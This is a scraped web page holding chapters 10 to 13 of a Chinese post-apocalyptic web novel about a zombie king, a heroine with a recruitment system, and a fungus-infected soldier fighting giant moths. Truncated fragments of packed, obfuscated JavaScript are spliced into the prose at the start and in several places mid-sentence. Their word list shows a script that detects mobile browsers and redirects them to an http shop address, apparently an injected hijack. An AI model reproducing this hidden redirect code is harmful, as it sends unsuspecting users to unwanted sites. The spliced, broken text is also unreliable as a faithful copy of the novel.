p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898306|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 霍不予淡淡瞟来：“。” 叶只秋泄气，蔫巴巴改正：“就……一般吧。” “所以，花队长怎么没一起？”叶只秋虽然思维跳脱，关键时记性却很好，她拉回之前话题，接着问道，“还有，你们刚才说的‘不要让它们发现’，‘它们’是什么？” “是，是……”钟吟结疤着刚要开口。 房间外突然传来奇怪的声音，叶只秋扭头看去。 一个模模糊糊的人影边走边退。他手中的武器，现在被当做拐杖支撑着身体。边往城内走，边警觉的看向天空。 “他是花队长？” 叶只秋指着外面看起来四十多岁、身着迷彩服、浑身是血的中年男人问道。 郑云松沉默了两秒后，舔了舔嘴唇，回答：“……是。” 叶只秋：“……” 视线在两人身上定了几秒后，慢慢收回。她脸上表情明显淡了下来，不如刚才热情。 明明之前人才地图上显示，他们三人是一起出发的。如今钟吟和郑云松却先到了，加上两人虽看着狼狈实则无伤，伤的最重的花队长反而在后面。 紧靠现有信息，哪怕事情还不清楚。叶只秋也无法客观看待这对情侣了。 许是叶只秋态度转化的太明显，钟吟忍不住率先开口：“他是自愿的。” “什么？”叶只秋没听懂。 钟吟却率先崩溃了，语无伦次将因果倒了出来。 花队长全名花国盛，之前是驻守边防的军人。退役后没选择调走，反而留下来时不时参与些保护环境的志愿活动。 末世后，高原山脉民众转移困难。花队长便加入部队，担当了部分引路转移工作。 然而随着时间推移，转移工作越来越难做，人力成本紧缺导致间隔时间也拉长。距离上一次组织萨喀市民众去平安基地已是半年前。 这次重新启动的转移任务，包含钟吟、郑云松在内，共70多人。一路辗转到G市附近，食物早已吃光。虽然组织者安抚，已经派人去附近收集寻找，但毫无成果。 饿了两天的钟吟和郑云松最后决定，偷偷离队寻找食物。 谁知城市没找到，反而迷了路。 两人吹响求救哨，引来花国盛的瞬间，也引来了危机。 顾不得其他，慌忙逃命之下，三人彻底同大部队走失。 更让人崩溃的是，不光他们逃到哪里，那些可怕的东西便追到哪里。 如同跗骨之蛆，如影随形。 “他救我们是自愿的……我们没有逼他。” “而且后来，我们发现那些东西会重点攻击他！你能明白吗，我们才是被拖累的！！” “也许他不出现，我们早都回到队伍里去了！” 钟吟紧紧抓住叶只秋袖肘，崩溃的哭诉声越来越大。 “闭嘴！”郑云松突然捂住她的嘴巴，整个人如同炸毛的刺猬。 他紧张的看向收费站外黑压压的山脉。 语气颤抖： “来了，又来了！” “那些东西又追来了！！” 与此同时，刚刚走到收费站附近的花国盛也察觉不对，驻在地上的武器瞬间抱握胸前，板正的脸上满是严肃。 叶只秋顺着他们视线看去，伴随着极其微弱的“沙沙”声，空气被搅动。 一朵遮天蔽日的乌云快速袭来…… 10. 扑棱扑棱 叶只秋站在收费窗前。 细小的夜风，从窗户缝隙处吹进，带来丝丝冷意。 眉头微微蹙起，饶是迟钝如她，也意识到那乌云不对劲了。 “到底是什么东西？” 话音还没有落下，只听一连串的“嘭嘭”闷响，世界已变为一片黑暗。 叶只秋：“！！” 她有些紧张的靠在金属桌上，手指摸索着桌面，将太阳能灯板抱在怀里。 嘭、嘭—— 不间断的撞击声下，叶只秋紧张的揪住了袖角。失去视觉，让人格外没有安全感。 叶只秋迷茫的看着前方。 不知道是不是错觉，她总感觉风变大了。 胳膊抬起，还未前伸，手腕已被攥住。叶只秋被这突然的触碰，吓得打了个冷战。 霍不予声音极低：“把灯打开。” 叶只秋：“哦。” 怀着浓浓疑问，她摸向灯板右上角。伴随着细小的咔哒声，耀眼的白光照亮整个房间。 与此同时，眼前的景象让人呼吸一紧。 只见收费亭透明的玻璃上已经没有一丝空隙，全部被手臂长的巨大黄褐色蛾子爬满。 它们层层叠叠挤在一起。全身上下覆盖着灰败的茸毛，躯干紧贴着玻璃。斑纹各异的翅膀拖在身后，形似枯萎的菌褶。随着爬行移动，翅膀上的鳞粉蹭在玻璃上，又被退化的黑红色口器刮过，留下长长痕迹。 这些灰褐色身影将月光完全挡住，它们缓慢的爬行着，翅膀摩擦间发出微不可查的沙沙声。 于此同时，收费亭的玻璃正随着它们的移动，缓缓挤出一条缝隙。长着茸毛的足尖，尝试探入…… 收费亭为了方便工作人员，设计的窗户都是推拉款式。通常来说只有一侧可以移动。但叶只秋选了个大房间，也就是双侧收费亭，两边窗户都可推拉。 外加还有个消息：两扇玻璃的锁都坏了。 “呼——” 几人同时转头，只见身后，不知何时，窗户已被挤出一条大缝。 蛾子布满胸毛的躯干和三只长腿，都伸了进来…… “快！快关上窗户！！” 郑云松抱着钟吟，两个人缩在墙角。此时看到虫腿伸进房间，顿时目眦尽裂，破音喊道。 “砰！” 叶只秋推上窗户。 玻璃与虫腿撞击，发出一声闷响后，三条腿肉眼可见发生了转弯。然后，它们抽动着，以一种奇怪的姿势吊在那里。 叶只秋紧紧推着玻璃，看向郑云松：“过来帮忙啊，你还是不是男人？” 钟吟睁大眼睛：“你，你……” 霍不予冰冷的目光跟着扫了过来。 钟吟闭嘴，郑云松身上一抖，走了过去。他颤着手接替叶只秋位置：“这腿……就让它在这儿吊着？” 叶只秋转身去堵另一边的玻璃，回答：“那你把它推出去啊。” 郑云松：“……” 手试探了几下，还是不敢触碰。最后他咬咬牙，决定偏头不看。 被夹住腿的蛾子疯狂扇动着翅膀，狰狞的蛾头上，巨大的复眼同郑云松相对。细长的触须抵在玻璃上，让他时常有种扫在自己脸上的感觉。 浑身起了一层鸡皮疙瘩，郑云松努力压制心底不适。 他不敢喊叶只秋，更不敢招惹霍不予，只得将矛头对准钟吟：“待在那里干嘛，快过来想办法把它的腿弄出去啊！” 钟吟害怕的移了过去…… 对面。 叶只秋一手推着玻璃，一手将灯板立在窗户前向外照去。 这么多蛾子，不知道花队长怎么样了？ 一切来的太突然，叶只秋还没做好准备时，收费亭已经被虫群淹没。幸运的是，它们攻击能力还未进化，整体看来还在扑棱蛾子范畴。 虽然力气增加了很多，但不会像电影里变异的怪兽，一条腿就能把玻璃踹碎。 即使这样，几人依然没有逃脱之法。 外面的蛾子越来越多，灯光甚至已经照不出去。 叶只秋明显感觉到，即使窗户没有关严，收费岗亭内也不再出现风了。 ——这里，成了密闭空间。 随着氧气消耗，二氧化碳上升，所有人明显感觉到有些发闷。 继续下去，虽不至于缺氧，但很可能因二氧化碳浓度过高而中毒。 僵持下去不是办法，叶只秋眉头蹙起。 她耳边是钟吟和郑云松的抱怨声，两人彼此指责着对方，盘点一路以来自己如何付出，对方又怎么坐享其成。 “啊！！！郑云松，你快推窗户呀，又有腿钻进来了！！！” 钟吟尖叫着，指向窗户缝隙。三条卡住的蛾子腿还是没有解决，缝隙处，其他蛾子跟着探了进来。数根尖细的虫足努力抠挖着，想要扩大入口。剐蹭间，虫足与玻璃发出令人牙酸的刺耳滑音。 “我推着呢，你倒是想办法把那几条腿弄出去啊！”郑云松烦躁吼道。 然而，不知道是蛾子的力量加强，还是郑云松的力气变弱，明显可以看出挤进来的虫足越探越长，甚至隐隐有扒开窗户的意思。 “卧槽，想办法把它推出去呀！”郑云松大吼一声。他能看到弯折的虫足与自己越来越近。 玻璃震颤，在推拉卡槽内歪斜。似乎过不了多久，就会报废。 千钧一发之际，耳后突然传来“嚓擦”两声。 叶只秋抿唇出现。 她手中拿着个旧打火机，跳跃的火苗烧向虫足尖。火焰接触的刹那，探进来的虫腿宛如触电一般，陡然缩了回去。 郑云松：“他们怕火！！太好了，有救了！！” “有这个你怎么不早拿出来？”钟吟同样松了一口气，她有些埋怨的看向叶只秋，“刚才我们差一点就完蛋了。” “快，把外面的蛾子都烧死！”郑云松急切道。他手臂酸软，感觉自己坚持不了多久了。 叶只秋拇指放开，火焰消失。 她语气温吞道：“你太高看小火机了，它能点着就不错了。要是能烧死外面的蛾子，恐怕我们也成人肉铁盒，十分熟了。” 郑云松一哽：“……” 他目光看向对面，原来叶只秋的位置，已经替换上了霍不予。 男人斜靠在金属台上，两指虚虚点着玻璃。和郑云松的全力以赴相比，霍不予更像是站在窗前看风景，虽然现在并没有什么东西能看。 郑云松有些愤愤不平。 为什么对面的蛾子那么安静，自己这边却如此惊险。明明都是在一个房间里，风险应该共同分担。 他刚想尝试商量，两人换一下位置，就听叶只秋对霍不予说道：“我们能不能想办法出去。” 郑云松、钟吟：“你们疯了？” 霍不予冷森森的眼神瞟了过来，两人噤声。 他收回目光，双眸定定凝视叶只秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他斜躺在工作台上，两手伸直扒着玻璃，脚尖绷紧卡住另一边，整个人极其狼狈。 钟吟害怕的看着霍不予，崩溃大声尖叫，两腿疯狂蹬踹。 她清楚对面的男人不好惹，所以从进入屋子以来，都努力避开。 叶只秋：“……” 面上不显，实际内心也很崩溃。好不容易下定决心冲出去面对扑棱蛾子，谁知屋里先来了一只。现在回想起来，真想拍死当初给两人开门的自己。 刚准备放下灭火器，腾手对付钟吟。 身边黑影一闪，霍不予上前，一把捏住对方小腿，像是扔麻袋一样，将尖叫的钟吟甩向身后。 钟吟砸在郑云松身上，两个人顺着工作台滑行了半米后，撞在曲型玻璃上。 无视身后惊恐的两人，霍不予扭了扭手腕。 他盯着掌心看了两秒后，把手搭在叶只秋帽衫头顶捏了捏，又冷又轻的声音响起：“现在可以开门了……” 叶只秋抬眼看向自己头顶：“……” 严重怀疑霍不予在趁机用自己帽子擦手。 深吸一口气，手指按在灭火器按钮上，伴随着钟吟和郑云松惊惧的尖叫声，叶只秋拉开了房门—— 汹涌的蛾群如同装满水宝宝的气球被扎破，铺天盖地倾泻而来！ 11. 扫蛾小队 “呲——” 狂暴的白色烟雾喷涌而出，在叶只秋前面炸成一朵朵翻滚的雪雾。 飞在最前面的蝙蝠蛾像是撞在一堵无形的墙上，覆满鳞粉的枯翅瞬间结满白霜，噼里啪啦往下掉。 叶只秋仅仅停顿了不到一秒，便毅然决然向外走去。 她像一个灭虫机器：“……” 在前面开路的叶只秋，除了踏出房门时，问了霍不予一句方向后，再也没有说过话，保持着面无表情的状态，匀速猛冲。 霍不予跟在后面，唇角微勾。 他完全没有想到叶只秋会表现的这么冷静，小豆丁果然是个有趣的人。 捂得严严实实，只有眼睛露在外面的叶只秋，此时内心极其崩溃。 啊啊啊啊，这些蛾子为什么要长这么大呀？！踩上去还软乎乎的，太吓人了！ 不能喊，不能喊！它们掉渣！！ 我的天，怎么有这么多？太能生了吧…… 已经走了很久了，怎么还没到？ 灭火器喷出的烟雾以肉眼可见的频率减小，开始有蛾子从正面冲上来。 叶只秋：“！！” 捏着喷头的手一顿，条件反射就想抡灭火器罐。 一只胳膊从她身后伸出，抓向蝙蝠蛾。 于此同时，白色的烟雾中伸出一根长杆，狠狠打在蛾子身上。接着长杆一摆，横扫一片。 叶只秋眼睛瞬间亮起：“！” 哇，这是见到打蛾棒法了？！ “快把灯关了！”一个沙哑低沉的声音传来。 不多时，烟雾后人影显现。他轮廓逐渐清晰，方正的国字脸上眉头微蹙，来人正是花国盛。 他一边挥舞着拦车的升降杆，一边厉声教训： “你们不想要命了，大晚上开着灯，是生怕这些玩意不围攻吗？” 花队长话音落下，余光瞄到叶只秋，脸上露出诧异，忍不住发出一声疑问：“嗯？你们是困在G市的幸存者吗？” 他本来马上要跑进木屋了，但是突然看到两个人影出现，蛾群还包围了过去。透过灯光、白雾、蛾群缝隙，模糊能看出是高矮两人。 花国盛猜测是郑钟那对情侣。经过这一路，他本不想过去，但犹豫了几秒后，还是冲了上来。谁知竟然看到了两个生面孔。 叶只秋：“啊，对！快关！” 手掌盖在灯板上，她看向霍不予，谁知丧尸王面色阴郁。 叶只秋：？？？ 没看出来他这么怕黑呀。 霍不予眼眸幽冷，淡淡吐出两个字：“不用。” 然后，他在两人震惊的目光中，手腕一挥。 “啪！”灯板将飞蛾拍的七零八落，甩了两下，黏在上面的虫腿随着重力，拖出一道痕迹，掉在地上。 霍不予冷冷补充：“开着灯，我能看清楚有多少不长眼的。” 对于丧尸王来说，这些变异的蛾子根本伤不到他。但因为对方实在太低级，根本意识不到危险。甚至明明看到同伴死亡，还会本能往上冲。 打虫子打到烦躁的霍不予，开灯本就是为了看清楚一击必杀，听到让自己关灯，此时格外不爽。 花国盛：“……” 这两人好像和自己之前救助的民众不太一样。 他清了清嗓子：“能保证自己安全就好，跟我来。前面有个木屋，可以躲一下。” 三人快速前行。 花国盛在前面挥舞着长杆开出一条道路，叶只秋手拿羊角锤，左右螺旋摆动，霍不予灯板直拍垫后。 三人都很诡异，但组成一队后，好像又和谐了很多。 转眼间，木屋轮廓出现。 叶只秋眯眼看了过去，不知道是不是自己捂得太严实，有些缺氧眼花，竟感觉这屋子在动。 身后，霍不予翻转手腕，黏黏糊糊的灯板照了过去。 叶只秋瞬间头皮发麻。 只见木屋上爬满了密密麻麻的蛾子，根本找不到门窗在哪？而且，不知是不是自己有些累了，竟感觉蝙蝠蛾群的攻击力度越来越猛。 “不行，得用火。”花队长皱眉。 他摸了摸裤兜，突然想起自己点火的东西被郑云松借走后还未归还。 叶只秋掏出快没气的打火机：“我有！” 花队长眸光一亮，将升降杆拄在地上，猛的一踩。捡起手臂长的断木后，将腰间破烂的内搭撕下，快速在木头顶端缠了几圈。从兜里掏出一块不足指节长的固体酒精，蹭在布条缝隙上，做出个简易火把。 “拿着，把它点起来。” 将火把塞进叶只秋手中，花队长握着剩下的长杆，阻挡扑来的蛾群。 叶只秋快速摸搓打火机，关键时刻，除了擦擦声外，火苗不见踪影。 同时，身后传来隐隐约约的求救声。 “花队长，是你在那边吗？” “求求你救救我们！！” 花国盛击打蛾群的手一顿，他犹豫了几秒后，看向叶只秋：“如果火把点燃了，你们找到门就立刻进去，不用等我。” “我……过去看看。不论怎样，要把任务完成。” 嚓——火苗亮起。 叶只秋举着火把，看向花国盛离开的背影。 从脑中抽出「爆裂火焰」合同，她想自己找到想要的候选人了。 火光跳跃，热浪中趴在木屋上的飞蛾挪开身体。叶只秋很快找到房门位置。 然而，推了推后，门纹丝未动。 叶只秋：“……” 我的神啊，难道还要找钥匙？ 霍不予站在她身后，眉眼中漫出的幽暗几乎能将火把熄灭。他看着自己袖口处滴答的粘液，心情差到极点。 “怎么了？” 叶只秋：“门锁着。” 霍不予：“起来。” 叶只秋让位。 随着她后退，旁边的蛾子很没有眼力见的重新覆盖上来。 霍不予冷笑一声，眼中阴骘越来越深。 他缓缓抬起脚，猛的踹了过去。 伴随着砰的一声，蛾子爆浆，灰败的翅膀断裂，反方向飞出，门板90°趴在地上。 霍不予：“开了。” 叶只秋：“…………谢谢。” 两人进屋。叶只秋将火把立在门上。 她呆呆看着对面空洞的门框，犹豫了几秒后，还是没把门扶起来。 算了，就当是找了个山洞吧。 叶只秋蹲在门板上，用羊角锤砸击妄图突破火焰、往里钻的飞蛾。 霍不予坐在房间正中央，一脸冷漠的用指节抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花国盛感受了一下毫无变化的自己，问道：“这样就行了？” 叶只秋抬起头，满脸疑惑震惊的看着对方，喃喃道：“为什么？” 就在刚才，她脑中蹦出了一条系统提示： 【岗位匹配度失败，请重新选择。】 【注意！任务时间不足三十分钟。请宿主在日出前，完成第二名员工的招聘。】 【提示：招聘失败，绑定账号将会封存。】 叶只秋：为什么失败，哪里不合格？！！明明花队长怎么看都是最优选择。 她磨着牙，狠狠抽出第二张合同。 又不是没见过匹配失败的情况。不让人好好签，那就一个个来。 她叶只秋就不相信了，半个小时还找不出对口的金手指？！ 就在她撸起袖子，准备开干之时。 花队长突然发出一声闷哼，紧接着身体控制不住的颤抖，直至僵硬。 然后，他的头皮深处传出令人牙酸的破开声，像是有什么东西，在努力生长…… 12. 招聘植物人 “啊啊啊啊啊，他是不是要变成丧尸了？！” 窝在角落，一直没有说话的情侣两人突然发出尖叫声。 郑云松惊恐：“难道丧尸也有潜伏期？这两日明明没有遇到啊……” 叶只秋扭头，困惑问道：“丧尸会立刻变异？” 钟吟：“你是怎么活下来的，竟然连丧尸基本知识都不知道。如果被丧尸咬了，侥幸逃脱。正常来说最多不过一小时，便会被同化。” “难道，咬他的是高级丧尸？”郑云松看着肢体越来越僵硬的花国盛，瞳孔地震。 他喃喃道：“怪不得一直跟着我们。我还以为他是想救我们。现在看，他是想准备储备粮啊。” “快快！！妹子，把他推出去。”钟吟附和道，“等他完全变异，倒霉的就是我们。” “外面还有蛾群，绝对不能让房间里出现一只丧尸！” 叶只秋瞄向霍不予：……哈哈，惊不惊喜，房间里本来就有一只，还是最牛逼的那种。 霍不予挑眉：“……” 叶只秋眨眨眼，不知脑子又转到哪儿去了，她试探问道：“刚才一起打蛾子时候，你没饿吧？” 霍不予阴着脸，幽幽扫向叶只秋：“你觉得呢？” 叶只秋：“我觉得应该没有。” 都怪郑云松他们，什么丧尸咬了立刻变异，什么这几天都没有遇到丧尸……几条信息连在一起，让叶只秋竟然短暂怀疑，霍不予刚才是不是偷偷啃花队长了。 眼神看向仍在持续变异的花国盛。 叶只秋掏出合同。 不就是变丧尸嘛，有什么大不了的。只要人合适，物种不重要！ 内心喊着‘王侯将相宁有种乎’的叶只秋刚准备拍下，脑内系统突然发出刺耳提示音： 【警告，若发现丧尸还执意签约，会受到账号封禁惩罚。】 叶只秋：？？？ 为什么不能签？连丧尸王都签了，花队长再怎么变，也不可能变成比霍不予还凶的丧尸吧？！ 系统：【人事系统绑定宿主为人类。末世招聘规则，员工成分占比，丧尸人数不可多于人类人数，否则系统被判定立场崩塌。】 【若宿主执意招聘丧尸，请优先扩大人类员工数量占比。】 叶只秋：…… 她算是听明白了。现在系统中，自己和霍不予=人类：丧尸=1：1。若是签了花队长，数量变成人类和丧尸1：2。 也就是狼人杀里，当睁眼后局势变成平民和两狼存在，哪怕晚上狼人可以自刀，游戏规则也会判定狼人胜。 眼神淡淡瞟向郑云松两人方向。 系统意思，如果自己想招聘花队长，就必须至少先签一个人类。 “你还在等什么呀？趁着他还没有攻击能力，快把他推出去！！”此时郑云松也顾不上害怕霍不予了。 他冲到叶只秋面前，虽然是绕了个大圈，但总归到达了目的地。 “快，一起！我把门板撑着，你把他推出去！”郑云松说道。 叶只秋抬头：“花队长救了你们很多次。” 郑云松：“谁知道他救我们的理由是什么？你清醒一点，他马上要变异了！！” “等到变异成功，我们根本制不住他。” “快点吧。”钟吟小心翼翼挪了过来，“我就说他不对劲，那些蛾子一开始最爱攻击他，原来看出他是异类。” 门板被外面的飞蛾撞得‘嘭嘭’作响，窗户也发出濒临碎裂的‘嘎滋’声。 “动手呀！！也许把他扔出去，那些疯蛾子就不会攻击我们了。” “我看蛾子其实在救我们。” 郑云松用了更大的力气去拽花队长。已经半僵的花国盛执着的抵着门，然而随着拉扯，他身子歪斜，门板出现了松动。 一只蝙蝠蛾趁机挤进大半个身体，它触角晃动着，退化的口器率先吸向站在门边的郑云松。 “刺啦”一声。 根本来不及反应，郑云松脸侧已被撕下一块皮肉。 飞蛾进化了！ 郑云松捂着脸跪在地上，发出惨叫：“啊！！！” 钟吟也害怕的后退一步，惊恐拉开距离。 一切发生的太快了，从郑云松拽花队长，到门出现缝隙飞蛾袭击，都在眨眼间完成。 郑云松眼神凶狠，看向叶只秋和倒在一旁的花国盛。 他抽着气，从牙根挤出几个字：“都怪你们！！” “刚才就是你！”疼痛侵蚀了他的理智，郑云松冲到叶只秋面前，“如果在房间里好好待着，什么事都没有，你非要出去。” “因为你们，我们也不得不跑出来。” “现在好不容易躲进木屋，又不安生！” 郑云松指着花队长，对叶只秋吼道：“他都要变异了！！你个白痴，懂什么叫变异吗？再拖下去，我们全都要死在这儿！” “哐！” 坐在地上的叶只秋举手，一锤头抡在郑云松胸口。她抱着脑袋：“烦死啦。” 脑内是系统尖锐的机械音：【倒计时：15分00秒。】 郑云松一手捂着脸，一手捂着胸口，不敢置信。 对面那个看上去没脾气的女人竟然给了自己一榔头？！！ 一道阴影遮在他面前，郑云松迟钝抬头。只见霍不予不知几时已经走到他面前。 男人阴郁的脸上露出个冰冷笑容：“拖下去、死在这儿？” “我看你不拖，也快死了。” 苍白的手探出，缓缓握上郑云松脖颈。 郑云松被捏住脖子，强制抬头，他看着霍不予，脸上的肉因为惊恐开始抽动，眼球瞬间布满血丝。 他蓦地意识到，对面的男人要比想象中恐怖很多倍。 叶只秋根本顾不得这边的动静，她现在完全陷入纠结。 当初快要死掉，她都不愿意违心招聘汪舟，如今再一次遇到相同的局面。 若想招聘花国盛，就必须签钟吟或者郑云松。 若只签花国盛，系统判定立场崩塌，自己死。 谁都不签，倒计时结束，自己死。 啊啊啊啊啊，人活着怎么这么难？ 一个破系统，既然目标是招聘，还搞出一堆条条框框。 叶只秋的怨念几乎能凝成实体。 被吓到躲进角落的钟吟，看看僵硬的花国盛，看看被钳住命门抽动的郑云松，看看冷笑着裁决别人的霍不予，最后看看怨气附体举着锤子的叶只秋。 钟吟：“…………T口T” 她怎么觉得这个房间里，只有自己一个没变异。 “啵！” 很轻很小的一声爆破音。就像是指尖戳碎了肥皂泡泡。 叶只秋抬眸。 只见花国盛蜷缩的抱着自己，他的头皮微微裂开，长出了一颗——苗？！ 霍不予眯眼，松开手。 郑云松栽倒在地，他“嗬嗬”的抽着气，蠕动挣扎着挪到墙角，惊恐的望着花国盛。 钟吟大脑空白：“！！” 叶只秋：“…………” 系统，给我出来！我没到过末世，但也看过很多电影小说，你给我讲讲哪种丧尸会发芽？ 系统：【…………】 沉默几秒后，机械音再次响起： 【招聘时，人员占比为友情提示注意事项，并不代表对备选人进行定性。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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首先，叶只秋看向系统：“花队长不是丧尸，非要定义的话，被菌丝寄生的他勉强算作‘植物人’。那就没有所谓的系统立场崩塌！” “换句话说，我可以只招聘他一人！” “然后便是解决‘冬虫夏草’问题……”叶只秋清澈的眼眸无比专注，她快速翻找着合同。 怪不得刚才签约失败，花队长排斥「爆裂火焰」，是因为不论菌丝还是寄生体，对火都有种天然恐惧。 那么哪种适合呢？ 「无穷流水」？不行，虽然叫‘草’，实际上却根本不需要浇灌。 营养……对，需要的是营养！！！ 看着面色逐渐发青的花国盛，叶只秋翻找合同的速度几乎成了残影。 “霍大佬，帮我个忙！”她声音软糯，却格外坚定，“红薯芽都可以缩回去，‘草芽’你一定也可以吧？不要让它继续成熟。” 叶只秋知道，现在的关键便是孢子。只要孢子不释放，便代表循环没有完成。维持在寄生阶段，花国盛就是安全的。 接下来，便是与他签订合同。 叶只秋需找一个能为真菌提供营养，让它们不再消化花队长内脏的金手指。 有了！就是它。 纸张凭空出现在掌心，叶只秋坚定向花国盛拍去。 白色的光点闪烁，缓缓汇入花国盛体内。 系统音响起： 【滴——】 【恭喜宿主，紧急任务完成，成功招聘第二名员工。】 【岗位名称：「灵土空间」。】 【入职人员姓名：花国盛。】 【年龄：39。】 【属性：虫草人类（高危预警|提醒：甲方招聘时，请尽量避免使用濒死人选。）】 【合约年限：一方死亡，自动解约。】 【……】 简单看了一下，基本和招聘霍不予时，系统给出的通知差不多。 叶只秋眼神停留在‘濒死’两个字上。 接下来就是尝试想法能否成功了，只要循环达成，濒死又怎么样？ 13. 快死了？幸好我按了暂停！^^…… “你，你做了什么？” 郑云松惊惧的看着霍不予和叶只秋。 只见男人指尖点在花队长头顶，眨眼功夫，像犄角一样的苗竟缩了回去。然后是那个女人，她不知道从哪里掏出一张写满字的纸，按在花国盛身体的瞬间，纸张化作星点，融入他体内。 郑云松揉了揉眼睛，冰凉的手在脑门上连拍几下。 自己是不是被掐的缺氧，出现幻觉了？ 他们……真的是人吗？ 但更令郑云松震惊的还在后面，只见叶只秋对着花国盛说了什么后，退役老兵凭空消失。 郑云松：“什么！！！！” 钟吟：“啊！！” 情侣档高音二重奏。 叶只秋转头，口中自语：“诶？刚才是不是应该把他们打晕……” 霍不予淡淡：“现在也不晚。” 叶只秋：“？” 不晚是什么意思，要打成脑震荡强制失忆吗？ 郑云松、钟吟：“！” 不晚是什么意思，要杀人灭口吗？ 两人对视一眼，郑云松率先扑了过去。他很好的把握尺度，滑跪到霍不予跟前，差点接触的瞬间刚好停了下来。 郑云松无比虔诚：“大哥，我什么都没看见。我不说话了，你大人有大量，让我留在这个房间里吧。” 钟吟有样学样，看向叶只秋，三指竖起举过头顶：“我也什么都没看见，以后也绝对不会说出去，求求你让我待在这里。” 叶只秋：“……” 还挺能屈能伸，不过她现在确实没有精力管这两个人。 小叶同志专业上线，调出系统，一顿猛戳： “怎么样，灵土空间内部数据持平了吗？” 系统：【正在同步。】 叶只秋翻着合同，指向「灵土空间」简介部分，这上面说了空间内土壤自带养分循环系统……可根据栽培不同种类，智能调整所需营养。 “现在已经栽培上了。”叶只秋指着空间内土埋了半个身子的花国盛，一本正经和系统说道，“如果不能给他提供营养，代替内脏腐食的部分，那就是合同夸大。” “这样是诈骗，知道吗？” 系统：【…………】 第一次见一个宿主胳膊肘拼命往外拐的。而且，谁家灵土栽培是种‘植物人’的？虫草人也不行啊。 叶只秋摇头晃脑：“如果因为你们的不严谨导致招聘失败，后果得你负责。” 系统：【招聘合同不存在上述情况。】 【数据已同步——员工花国盛体内菌丝所需营养，可通过灵土空间获取，吸收时间六小时。营养获取成功，菌丝陷入睡眠状态，十二小时后，孢子成熟释放。】 叶只秋掰着手指理逻辑。 也就是说每天要把花队长种在土里六小时。 拔出来后，有将近十二小时的安全时间。一旦孢子释放，他会立刻死亡。 这时，就需要霍不予把虫草苗时间倒退，回到菌丝需要吸收营养的阶段。 最后，把花队长种回去！每天循环。 叶只秋美滋滋：我真是太聪明了！╮(╯▽╰)╭ 系统：【……】 你跟我这儿卡bug呢？好好一个末日人事系统，自从绑定后，总共完成两单，还没招聘到一个正常人。 现在可好，宿主先学会鬼畜剪辑了，这不就是反复倒退？ 叶只秋：“反正任务完成了。” “啊！” 一声轻叫将叶只秋思绪拉回。 钟吟跪坐在地上，指着门板：“蛾群，好像飞走了。” 郑云松冲上前：“真的！” 他一把拉开门板。 只见天光已经泛起鱼肚白，刚才还拥挤在外面的蛾子像是突然失去了目标一样，围着木屋盘旋了几圈后，四下散去。 如果不是地上还残留着众多尸体，郑云松甚至会怀疑自己昨晚的经历，是否只是一场噩梦。 叶只秋看着远方，一个模糊的念头出现在脑海。 可能是因为花队长进入灵土空间，蝙蝠蛾找不到菌丝孢子的气息，没有繁衍威胁，失去感应的它们便飞走了。 折腾了一晚，所有事情总算是解决。 叶只秋伸了个懒腰，打了个大大的哈欠，决定回去补觉。 她问过系统，花队长那边已经签订合同，等他下次出来会自动定位在叶只秋附近。 没了后顾之忧，叶只秋同霍不予返回。 郑云松、钟吟两人缩在木屋角落，看着他们背影，犹豫很久后，还是跟了上去。 * 傍晚。 叶只秋终于睡饱，一睁眼看到的就是坐姿板正，守在一旁的花国盛：“那个，我好像收到一个提醒，说需要补签名。” 叶只秋：“！” 立马伸出手掌，听着系统接二连三成功的提示音，小叶同志满意。 这边所有流程走完，叶只秋不忘安慰霍不予。 “没事，我们下次找资源时候，看看有没有纸笔。你很快就能学会写字的。” 花国盛一脸震惊扭头：九年义务不是已经普及了吗，竟然末世前还有遗漏？天啊，看着小伙高高大大，没想到过得这么惨。 哎，想想也是，若是过得好，脸色也不会这么差了。 霍不予满面阴霾。 和三人的轻松氛围完全不同，远处郑云松、钟吟一脸生无可恋。若说木屋里看到的已经够震惊了，那接下来便是讶然不断。 他们先是看见叶只秋脏的衣服只是被霍不予碰了一会儿，便恢复干净。 然后看到两人竟直接走进商场，轻车熟路寻到按摩椅躺了上去，周围游荡的丧尸不光没围上来，反而全跑出去了。 最后，失踪的花队长突然大变活人，出现在叶只秋身边…… 果然人的接受能力很强，惊讶着，惊讶着，就淡然了。 现在他们看见花队长只有亲切。 郑云松和钟吟很想冲上去，然而看到霍不予的瞬间，胆子立马消失。 正当他们踌躇不前时，花国盛竟主动走了过来。 “花，花队长！”郑云松站起身。 钟吟迫不及待问道：“你还能送我们去平安基地吗？” 郑云松：“你不会反悔吧？之前可是说好，会送我们回大部队的啊！” “就算去不了基地，和其他人汇合总是可以的吧。” 两个人一句连着一句，生怕听到否定答案。 花国盛：“我没法送你们了。” 郑云松表情一怔，指着钟吟说道：“花队长，是不是因为这个女人。之前每次闯祸都是她，你如果不想带她，我们就不带。” “不光是你，我也忍受不了她了，每次只会拖后腿。” “你之前受伤就是因为救她，可这个女人根本不懂得感 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钟吟：“不行啊，我自己不行的。” “是啊，”郑云松露出焦急神色，“花队长，送佛送到西，你不能半路不管我了啊！” “霍小哥会替我送你们出G市，走吧。”花国盛摆摆手。 他也算是尽自己所能，完成任务了。 “麻烦你了。”花国盛回头，对霍不予说道。 霍不予双手插兜，懒懒散散走了过来，他似笑非笑看着郑云松、钟吟，掺着冰碴的冷冽声音响起：“别耽误时间。” 